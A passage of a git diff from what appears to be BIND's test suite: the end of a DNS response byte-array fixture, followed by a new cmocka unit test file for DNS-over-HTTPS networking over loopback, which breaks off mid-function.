+	       0x04, 0x4a, 0xdd, 0x2f, 0x7d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x54, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x92, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x58, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0x4f, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x5c, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xa0, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x6e, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xa4, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x7e, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x66,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x12, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x96, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x6c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x11, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0x7e, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xae, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xa3, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x9e, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x1d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xb0, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xbc,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0xba, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xaa, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x84, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x47, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0x86, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x20, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xcb, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xab, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x36, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc5, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x88,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0xb1, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xed, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0xbe, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc0, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0x77, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xbb, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xf8, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe3, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xc7, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x95, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xa8,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0x8d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xea, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x49, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc3, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xb2, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc6, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xd4, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xec, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0x75, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xf4, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xd8,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0xcc, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xd6, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x62, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xda, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xb6, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x36, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x7f, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe0, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xd7, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xd2, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xd0,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0xe6, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x78, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x1a, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xdc, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xeb, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xd5, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xcd, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe1, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0x1b, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xdd, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe4,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x7a, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xee, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x24, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xf2, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xf0, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xcf, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xf5, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xf6, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xfc
+	};
diff --git a/tests/isc/doh_test.c b/tests/isc/doh_test.c
new file mode 100644
index 0000000000..91d2ed8e2d
--- /dev/null
+++ b/tests/isc/doh_test.c
@@ -0,0 +1,1833 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <time.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/buffer.h>
+#include <isc/condition.h>
+#include <isc/mutex.h>
+#include <isc/netmgr.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include "uv_wrap.h"
+#define KEEP_BEFORE
+
+#include "netmgr/http.c"
+#include "netmgr/netmgr-int.h"
+#include "netmgr/socket.c"
+
+#include <tests/isc.h>
+
+#define MAX_NM 2
+
+static isc_sockaddr_t tcp_listen_addr;
+
+static uint64_t send_magic = 0;
+static uint64_t stop_magic = 0;
+
+static uv_buf_t send_msg = { .base = (char *)&send_magic,
+			     .len = sizeof(send_magic) };
+
+static atomic_int_fast64_t active_cconnects = 0;
+static atomic_int_fast64_t nsends = 0;
+static atomic_int_fast64_t ssends = 0;
+static atomic_int_fast64_t sreads = 0;
+static atomic_int_fast64_t csends = 0;
+static atomic_int_fast64_t creads = 0;
+static atomic_int_fast64_t ctimeouts = 0;
+static atomic_int_fast64_t total_sends = 0;
+
+static int expected_ssends;
+static int expected_sreads;
+static int expected_csends;
+static int expected_cconnects;
+static int expected_creads;
+static int expected_ctimeouts;
+
+#define have_expected_ssends(v) ((v) >= expected_ssends && expected_ssends >= 0)
+#define have_expected_sreads(v) ((v) >= expected_sreads && expected_sreads >= 0)
+#define have_expected_csends(v) ((v) >= expected_csends && expected_csends >= 0)
+#define have_expected_cconnects(v) \
+	((v) >= expected_cconnects && expected_cconnects >= 0)
+#define have_expected_creads(v) ((v) >= expected_creads && expected_creads >= 0)
+#define have_expected_ctimeouts(v) \
+	((v) >= expected_ctimeouts && expected_ctimeouts >= 0)
+
+static bool noanswer = false;
+
+static atomic_bool POST = true;
+
+static atomic_bool use_TLS = false;
+static isc_tlsctx_t *server_tlsctx = NULL;
+static isc_tlsctx_t *client_tlsctx = NULL;
+static isc_tlsctx_client_session_cache_t *client_sess_cache = NULL;
+
+static isc_quota_t listener_quota;
+static atomic_bool check_listener_quota = false;
+
+static isc_nm_http_endpoints_t *endpoints = NULL;
+
+static isc_nm_t **nm = NULL;
+
+/* Timeout for soft-timeout tests (0.05 seconds) */
+#define T_SOFT 50
+
+#define NSENDS	100
+#define NWRITES 10
+
+#define CHECK_RANGE_FULL(v)                                    \
+	{                                                      \
+		int __v = atomic_load(&v);                     \
+		assert_true(__v >= atomic_load(&total_sends)); \
+	}
+
+#define CHECK_RANGE_HALF(v)                                        \
+	{                                                          \
+		int __v = atomic_load(&v);                         \
+		assert_true(__v >= atomic_load(&total_sends) / 2); \
+	}
+
+/* Enable this to print values while running tests */
+#undef PRINT_DEBUG
+#ifdef PRINT_DEBUG
+#define X(v) fprintf(stderr, #v " = %" PRIu64 "\n", atomic_load(&v))
+#else
+#define X(v)
+#endif
+
+typedef struct csdata {
+	isc_mem_t *mctx;
+	isc_nm_recv_cb_t reply_cb;
+	void *cb_arg;
+	isc_region_t region;
+} csdata_t;
+
+static void
+connect_send_cb(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
+	csdata_t data;
+
+	(void)atomic_fetch_sub(&active_cconnects, 1);
+	memmove(&data, arg, sizeof(data));
+	isc_mem_put(data.mctx, arg, sizeof(data));
+	if (result != ISC_R_SUCCESS) {
+		goto error;
+	}
+
+	REQUIRE(VALID_NMHANDLE(handle));
+
+	result = isc__nm_http_request(handle, &data.region, data.reply_cb,
+				      data.cb_arg);
+	if (result != ISC_R_SUCCESS) {
+		goto error;
+	}
+
+	isc_mem_putanddetach(&data.mctx, data.region.base, data.region.length);
+	return;
+error:
+	data.reply_cb(handle, result, NULL, data.cb_arg);
+	isc_mem_putanddetach(&data.mctx, data.region.base, data.region.length);
+}
+
+static void
+connect_send_request(isc_nm_t *mgr, const char *uri, bool post,
+		     isc_region_t *region, isc_nm_recv_cb_t cb, void *cbarg,
+		     bool tls, unsigned int timeout) {
+	isc_region_t copy;
+	csdata_t *data = NULL;
+	isc_tlsctx_t *ctx = NULL;
+
+	copy = (isc_region_t){ .base = isc_mem_get(mgr->mctx, region->length),
+			       .length = region->length };
+	memmove(copy.base, region->base, region->length);
+	data = isc_mem_get(mgr->mctx, sizeof(*data));
+	*data = (csdata_t){ .reply_cb = cb, .cb_arg = cbarg, .region = copy };
+	isc_mem_attach(mgr->mctx, &data->mctx);
+	if (tls) {
+		ctx = client_tlsctx;
+	}
+
+	isc_nm_httpconnect(mgr, NULL, &tcp_listen_addr, uri, post,
+			   connect_send_cb, data, ctx, client_sess_cache,
+			   timeout);
+}
+
+static int
+setup_ephemeral_port(isc_sockaddr_t *addr, sa_family_t family) {
+	isc_result_t result;
+	socklen_t addrlen = sizeof(*addr);
+	int fd;
+	int r;
+
+	isc_sockaddr_fromin6(addr, &in6addr_loopback, 0);
+
+	fd = socket(AF_INET6, family, 0);
+	if (fd < 0) {
+		perror("setup_ephemeral_port: socket()");
+		return (-1);
+	}
+
+	r = bind(fd, (const struct sockaddr *)&addr->type.sa,
+		 sizeof(addr->type.sin6));
+	if (r != 0) {
+		perror("setup_ephemeral_port: bind()");
+		isc__nm_closesocket(fd);
+		return (r);
+	}
+
+	r = getsockname(fd, (struct sockaddr *)&addr->type.sa, &addrlen);
+	if (r != 0) {
+		perror("setup_ephemeral_port: getsockname()");
+		isc__nm_closesocket(fd);
+		return (r);
+	}
+
+	result = isc__nm_socket_reuse(fd);
+	if (result != ISC_R_SUCCESS && result != ISC_R_NOTIMPLEMENTED) {
+		fprintf(stderr,
+			"setup_ephemeral_port: isc__nm_socket_reuse(): %s",
+			isc_result_totext(result));
+		close(fd);
+		return (-1);
+	}
+
+	result = isc__nm_socket_reuse_lb(fd);
+	if (result != ISC_R_SUCCESS && result != ISC_R_NOTIMPLEMENTED) {
+		fprintf(stderr,
+			"setup_ephemeral_port: isc__nm_socket_reuse_lb(): %s",
+			isc_result_totext(result));
+		close(fd);
+		return (-1);
+	}
+
+#if IPV6_RECVERR
+#define setsockopt_on(socket, level, name) \
+	setsockopt(socket, level, name, &(int){ 1 }, sizeof(int))
+
+	r = setsockopt_on(fd, IPPROTO_IPV6, IPV6_RECVERR);
+	if (r != 0) {
+		perror("setup_ephemeral_port");
+		close(fd);
+		return (r);
+	}
+#endif
+
+	return (fd);
+}
+
+/* Generic */
+
+static void
+noop_read_cb(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
+	     void *cbarg) {
+	UNUSED(handle);
+	UNUSED(result);
+	UNUSED(region);
+	UNUSED(cbarg);
+}
+
+thread_local uint8_t tcp_buffer_storage[4096];
+thread_local size_t tcp_buffer_length = 0;
+
+static int
+setup_test(void **state) {
+	char *env_workers = getenv("ISC_TASK_WORKERS");
+	uv_os_sock_t tcp_listen_sock = -1;
+
+	tcp_listen_addr = (isc_sockaddr_t){ .length = 0 };
+	tcp_listen_sock = setup_ephemeral_port(&tcp_listen_addr, SOCK_STREAM);
+	if (tcp_listen_sock < 0) {
+		return (-1);
+	}
+	close(tcp_listen_sock);
+	tcp_listen_sock = -1;
+
+	if (env_workers != NULL) {
+		workers = atoi(env_workers);
+	} else {
+		workers = isc_os_ncpus();
+	}
+	INSIST(workers > 0);
+
+	atomic_store(&total_sends, NSENDS * NWRITES);
+	atomic_store(&nsends, atomic_load(&total_sends));
+
+	atomic_store(&csends, 0);
+	atomic_store(&creads, 0);
+	atomic_store(&sreads, 0);
+	atomic_store(&ssends, 0);
+	atomic_store(&ctimeouts, 0);
+	atomic_store(&active_cconnects, 0);
+
+	expected_cconnects = -1;
+	expected_csends = -1;
+	expected_creads = -1;
+	expected_sreads = -1;
+	expected_ssends = -1;
+	expected_ctimeouts = -1;
+
+	atomic_store(&POST, false);
+	atomic_store(&use_TLS, false);
+
+	noanswer = false;
+
+	isc_nonce_buf(&send_magic, sizeof(send_magic));
+	isc_nonce_buf(&stop_magic, sizeof(stop_magic));
+	if (send_magic == stop_magic) {
+		return (-1);
+	}
+
+	setup_loopmgr(state);
+
+	nm = isc_mem_cget(mctx, MAX_NM, sizeof(nm[0]));
+	for (size_t i = 0; i < MAX_NM; i++) {
+		isc_netmgr_create(mctx, loopmgr, &nm[i]);
+		assert_non_null(nm[i]);
+	}
+
+	server_tlsctx = NULL;
+	isc_tlsctx_createserver(NULL, NULL, &server_tlsctx);
+	isc_tlsctx_enable_http2server_alpn(server_tlsctx);
+	client_tlsctx = NULL;
+	isc_tlsctx_createclient(&client_tlsctx);
+	isc_tlsctx_enable_http2client_alpn(client_tlsctx);
+	isc_tlsctx_client_session_cache_create(
+		mctx, client_tlsctx,
+		ISC_TLSCTX_CLIENT_SESSION_CACHE_DEFAULT_SIZE,
+		&client_sess_cache);
+
+	isc_quota_init(&listener_quota, 0);
+	atomic_store(&check_listener_quota, false);
+
+	INSIST(endpoints == NULL);
+	endpoints = isc_nm_http_endpoints_new(mctx);
+
+	*state = nm;
+
+	return (0);
+}
+
+static int
+teardown_test(void **state ISC_ATTR_UNUSED) {
+	for (size_t i = 0; i < MAX_NM; i++) {
+		isc_netmgr_destroy(&nm[i]);
+		assert_null(nm[i]);
+	}
+	isc_mem_cput(mctx, nm, MAX_NM, sizeof(nm[0]));
+
+	teardown_loopmgr(state);
+
+	if (server_tlsctx != NULL) {
+		isc_tlsctx_free(&server_tlsctx);
+	}
+	if (client_tlsctx != NULL) {
+		isc_tlsctx_free(&client_tlsctx);
+	}
+
+	isc_tlsctx_client_session_cache_detach(&client_sess_cache);
+
+	isc_quota_destroy(&listener_quota);
+
+	isc_nm_http_endpoints_detach(&endpoints);
+
+	return (0);
+}
+
+thread_local size_t nwrites = NWRITES;
+
+static void
+sockaddr_to_url(isc_sockaddr_t *sa, const bool https, char *outbuf,
+		size_t outbuf_len, const char *append) {
+	isc_nm_http_makeuri(https, sa, NULL, 0, append, outbuf, outbuf_len);
+}
+
+static isc_quota_t *
+init_listener_quota(size_t nthreads) {
+	isc_quota_t *quotap = NULL;
+	if (atomic_load(&check_listener_quota)) {
+		unsigned int max_quota = ISC_MAX(nthreads / 2, 1);
+		isc_quota_max(&listener_quota, max_quota);
+		quotap = &listener_quota;
+	}
+	return (quotap);
+}
+
+static void
+doh_receive_reply_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		     isc_region_t *region, void *cbarg) {
+	assert_non_null(handle);
+	UNUSED(cbarg);
+	UNUSED(region);
+
+	if (eresult == ISC_R_SUCCESS) {
+		(void)atomic_fetch_sub(&nsends, 1);
+		if (have_expected_csends(atomic_fetch_add(&csends, 1) + 1) ||
+		    have_expected_creads(atomic_fetch_add(&creads, 1) + 1))
+		{
+			isc_loopmgr_shutdown(loopmgr);
+		}
+	} else {
+		isc_loopmgr_shutdown(loopmgr);
+	}
+}
+
+static void
+doh_reply_sent_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(eresult);
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	if (eresult == ISC_R_SUCCESS) {
+		atomic_fetch_add(&ssends, 1);
+	}
+}
+
+static void
+doh_receive_request_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		       isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	UNUSED(cbarg);
+	assert_non_null(handle);
+
+	if (eresult != ISC_R_SUCCESS) {
+		return;
+	}
+
+	atomic_fetch_add(&sreads, 1);
+
+	memmove(tcp_buffer_storage + tcp_buffer_length, region->base,
+		region->length);
+	tcp_buffer_length += region->length;
+
+	while (tcp_buffer_length >= sizeof(magic)) {
+		magic = *(uint64_t *)tcp_buffer_storage;
+		assert_true(magic == stop_magic || magic == send_magic);
+
+		tcp_buffer_length -= sizeof(magic);
+		memmove(tcp_buffer_storage, tcp_buffer_storage + sizeof(magic),
+			tcp_buffer_length);
+
+		if (magic == send_magic) {
+			if (!noanswer) {
+				isc_nm_send(handle, region, doh_reply_sent_cb,
+					    NULL);
+			}
+			return;
+		} else if (magic == stop_magic) {
+			/*
+			 * We are done, so we don't send anything back.
+			 * There should be no more packets in the buffer.
+			 */
+			assert_int_equal(tcp_buffer_length, 0);
+		}
+	}
+}
+
+ISC_LOOP_TEST_IMPL(mock_doh_uv_tcp_bind) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+
+	WILL_RETURN(uv_tcp_bind, UV_EADDRINUSE);
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   noop_read_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, NULL, NULL, endpoints,
+				   0, &listen_sock);
+	assert_int_not_equal(result, ISC_R_SUCCESS);
+	assert_null(listen_sock);
+
+	RESET_RETURN;
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+listen_sock_close(void *arg) {
+	isc_nmsocket_t *listen_sock = arg;
+
+	isc_nm_stoplistening(listen_sock);
